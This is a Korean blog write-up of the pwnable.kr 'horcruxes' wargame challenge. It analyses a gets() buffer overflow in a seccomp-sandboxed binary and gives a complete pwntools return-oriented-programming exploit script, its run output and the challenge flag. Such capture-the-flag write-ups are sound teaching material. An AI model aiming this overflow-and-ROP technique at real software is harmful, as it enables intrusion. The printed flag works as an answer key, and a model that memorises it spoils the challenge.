일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- Bug
- picoCTF
- rev
- Toddler's Bottle
- string
- Leak
- pwnable.kr
- FSB
- CANARY
- reversing
- ASM
- Read
- 2018
- toddler
- CTF
- shellcraft
- TUCTF
- Rookiss
- pwnable
- format
- pwn
- shellcode
- Bottle
- anti
- Reverse
- PMA
- practicalmalwareanalysis
- pico
- writeup
- BOF
- Today
- Total
제리의 블로그
pwnable.kr horcruxes 본문
horcruxes - 7 pt
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi
ssh horcruxes@pwnable.kr -p2222 (pw:guest)
horcruxes@ubuntu:~$ ls -l
total 20
-rwxr-xr-x 1 root root 12424 Aug 8 07:16 horcruxes
-rw-r--r-- 1 root root 131 Aug 8 07:16 readme
horcruxes@ubuntu:~$ cat readme
connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.
rop it to read the flag.
요약
함수 목록을 보면
hint() 라는 사용자 정의 함수를 통해
볼드모트의 7개의 호크룩스인 전역변수 a, b, c, d, e, f, g 를 찾아서 파괴하라고 적혀있었다.
전역변수들은 /dev/urandom 값을 seed 로 갖는 랜덤 값으로 초기화됬기 때문에 알 수가 없다.
대신 ROP 를 통해서 함수 A() ~ G() 를 호출하여 그 전역변수 7개를 출력시켜서 알아내서
모두 합한 값 sum을 맞추면 flag 가 출력되는 문제이다.
gets 함수에서 BOF 가 발생하지만
직접적으로 flag 를 출력해주는 곳으로 return 시킬 수는 없었다.
왜냐하면 ropme() 함수의 오프셋이 0x80a0009 인데
0x0a(Line Feed)는 gets 함수가 stdin 으로부터 입력받는 버퍼의 끝을 의미하기 때문에
결과적으로 페이로드가 끊기기 때문이다.
참고로 전역변수 7개를 더하는 과정에서 integer overflow 를 염두해야 한다.
익스 코드를 C언어나 자바로 짠다면 상관없지만
파이썬은 데이터 저장 방식이 다르기 때문이다.
여기서는 ctypes 모듈을 이용했다.
분석
[0x0809fd50]> afl~imp
0x0809fc20 1 6 sym.imp.seccomp_init
0x0809fc30 1 6 sym.imp.read
0x0809fc40 1 6 sym.imp.printf
0x0809fc50 1 6 sym.imp.gets
0x0809fc60 1 6 sym.imp.seccomp_rule_add
0x0809fc70 1 6 sym.imp.getchar
0x0809fc80 1 6 sym.imp.seccomp_load
0x0809fc90 1 6 sym.imp.alarm
0x0809fca0 1 6 sym.imp.puts
0x0809fcb0 1 6 sym.imp.exit
0x0809fcc0 1 6 sym.imp.open
0x0809fcd0 1 6 sym.imp.srand
0x0809fce0 1 6 sym.imp.__libc_start_main
0x0809fcf0 1 6 sym.imp.setvbuf
0x0809fd00 1 6 sym.imp.rand
0x0809fd10 1 6 sym.imp.__isoc99_scanf
0x0809fd20 1 6 sym.imp.atoi
0x0809fd30 1 6 sym.imp.close
seccomp 로 시스템콜 샌드박싱되어있는 바이너리였고
BOF에 취약한 gets 함수가 사용되었습니다.
seccomp_rule_add(ctx, 0x7FFF0000, SYS_rt_sigreturn, 0);
seccomp_rule_add(ctx, 0x7FFF0000, SYS_open, 0);
seccomp_rule_add(ctx, 0x7FFF0000, SYS_read, 0);
seccomp_rule_add(ctx, 0x7FFF0000, SYS_write, 0);
seccomp_rule_add(ctx, 0x7FFF0000, SYS_exit_group, 0);
화이트리스트로 5개의 시스템콜을 허용시켜놓은 모습
0x0809fe4b 1 31 sym.A
0x0809fe6a 1 31 sym.B
0x0809fe89 1 31 sym.C
0x0809fea8 1 31 sym.D
0x0809fec7 1 31 sym.E
0x0809fee6 1 31 sym.F
0x0809ff05 1 31 sym.G
0x0809ff24 1 229 sym.main
0x080a0009 18 366 sym.ropme
0x080a0177 3 429 sym.init_ABCDEFG
0x080a0324 1 41 sym.hint
사용자 정의함수 중에 hint 가 따로 주어졌다.
void hint()
{
puts("Voldemort concealed his splitted soul inside 7 horcruxes.");
puts("Find all horcruxes, and destroy it!\n");
}
볼드모트의 7개의 호크룩스를 모두 찾아서 파괴하라고 적혀있다.
호크룩스는 '해리포터와 죽음의 성물'편을 보면
볼드모트가 자신을 불멸의 존재로 만들기 위해
자신의 영혼을 7개의 조각으로 나누어 담은 상자같은 것이다.
ropme() 함수를 보면
printf("Select Menu:");
__isoc99_scanf("%d", &v2);
getchar();
if ( v2 == a )
{
A();
}
else if ( v2 == b )
{
B();
}
else if ( v2 == c )
{
C();
}
else if ( v2 == d )
{
D();
}
else if ( v2 == e )
{
E();
}
else if ( v2 == f )
{
F();
}
else if ( v2 == g )
{
G();
}
A() 부터 G() 까지 7개의 함수가 각각 전역변수 a ~ g 와 같을 시에만 호출되도록 조건을 걸어놓았습니다.
else
{
printf("How many EXP did you earned? : ");
gets(s);
if ( atoi(s) == sum )
{
fd = open("flag", 0);
s[read(fd, s, 0x64u)] = 0;
puts(s);
close(fd);
exit(0);
}
puts("You'd better get more experience to kill Voldemort");
}
return 0;
}
볼드모트의 7개의 호크룩스를 전부 모아야할텐데
그럼 전역변수 a ~ g에는 어떤 값이 들어가는지 확인해봐야겠습니다.
void __cdecl init_ABCDEFG()
{
unsigned int buf; // [sp+8h] [bp-10h]@1
int fd; // [sp+Ch] [bp-Ch]@1
fd = open("/dev/urandom", 0);
if ( read(fd, &buf, 4u) != 4 )
{
puts("/dev/urandom error");
exit(0);
}
close(fd);
srand(buf);
a = 0xDEADBEEF * rand() % 0xCAFEBABE;
b = 0xDEADBEEF * rand() % 0xCAFEBABE;
c = 0xDEADBEEF * rand() % 0xCAFEBABE;
d = 0xDEADBEEF * rand() % 0xCAFEBABE;
e = 0xDEADBEEF * rand() % 0xCAFEBABE;
f = 0xDEADBEEF * rand() % 0xCAFEBABE;
g = 0xDEADBEEF * rand() % 0xCAFEBABE;
sum = f + e + d + c + b + a + g;
}
전역변수 a ~ g는 랜덤값을 넣어 초기화되었고
전역변수 sum 은 7개의 전역변수의 합입니다.
매번 프로그램이 시작할 때마다 시드값이 바뀌기 때문에 브루트 포스도 불가능하다.
취약점 발견: gets() 함수
1 int ropme()
2 {
3 char s[100]; // [sp+4h] [bp-74h]@15
....
41 gets(s);
gets() 함수는 길이제한이 없다.
BOF 취약점.
지역변수 s는 bp-74h 에 위치하므로
지역변수 s로부터 0x78 거리에 RET ADDR 가 있다.
RET ADDR로 open("flag") 하는 부분으로 바로 뛰고 싶지만...
>>> hex(e.sym.ropme)
'0x80a0009'
주소가 0x0a 을 포함하고 이는 gets() 에서 문자열의 끝을 의미하게되어 payload 가 끊긴다.
(gets 는 stdin 으로부터 newline(LF), EOF까지 받는다. 참고: Joinc man page)
대신에 ROP 를 통해 7개의 함수를 불러서 호크룩스들을 모아서
계산한 sum을 입력하면 끝.
익스 코드
from pwn import *
import ctypes
e = ELF('./horcruxes')
s = ssh(user='horcruxes', host='pwnable.kr', port=2222, password='guest')
horcruxes = s.run('nc 0 9032')
horcruxes.recvuntil("Select Menu:")
horcruxes.sendline(str(0))
horcruxes.recvuntil(': ')
payload = ''
payload += 'A' * 0x78
payload += p32(e.sym.A)#A()
payload += p32(e.sym.B)#B()
payload += p32(e.sym.C)#C()
payload += p32(e.sym.D)#D()
payload += p32(e.sym.E)#E()
payload += p32(e.sym.F)#F()
payload += p32(e.sym.G)#G()
payload += p32(e.sym.main+0xD8)#ropme
horcruxes.sendline(payload)
soul = [int(re.search(r'EXP [+]([-]?\d+)', horcruxes.recvuntil(')')).group(1))for i in range(7)]
log.success(soul)
horcruxes.recvuntil("Select Menu:")
horcruxes.sendline(str(0))
horcruxes.recvuntil(': ')
sum = ctypes.c_int(sum(soul)).value
horcruxes.sendline(str(sum))
horcruxes.interactive()
$ python solve.py
[*] './horcruxes'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x809f000)
[+] Connecting to pwnable.kr on port 2222: Done
[!] Couldnt check security settings on 'pwnable.kr'
[+] Opening new channel: 'nc 0 9032': Done
[+] [-2035524702, 1592559235, 1051001584, -1861490898, 1910606467, 705183141, 964777870]
[*] Switching to interactive mode
Magic_spell_1s_4vad4_K3daVr4!
[*] Got EOF while reading in interactive
$
[*] Closed SSH channel with pwnable.kr
'Wargame > pwnable.kr' 카테고리의 다른 글
pwnable.kr fd (0) | 2018.08.24 |
---|---|
pwnable.kr echo1 (0) | 2018.08.22 |
pwnable.kr blukat (0) | 2018.08.19 |
dragon - 75 pt (0) | 2018.06.21 |
simple login - 50 pt (0) | 2018.06.17 |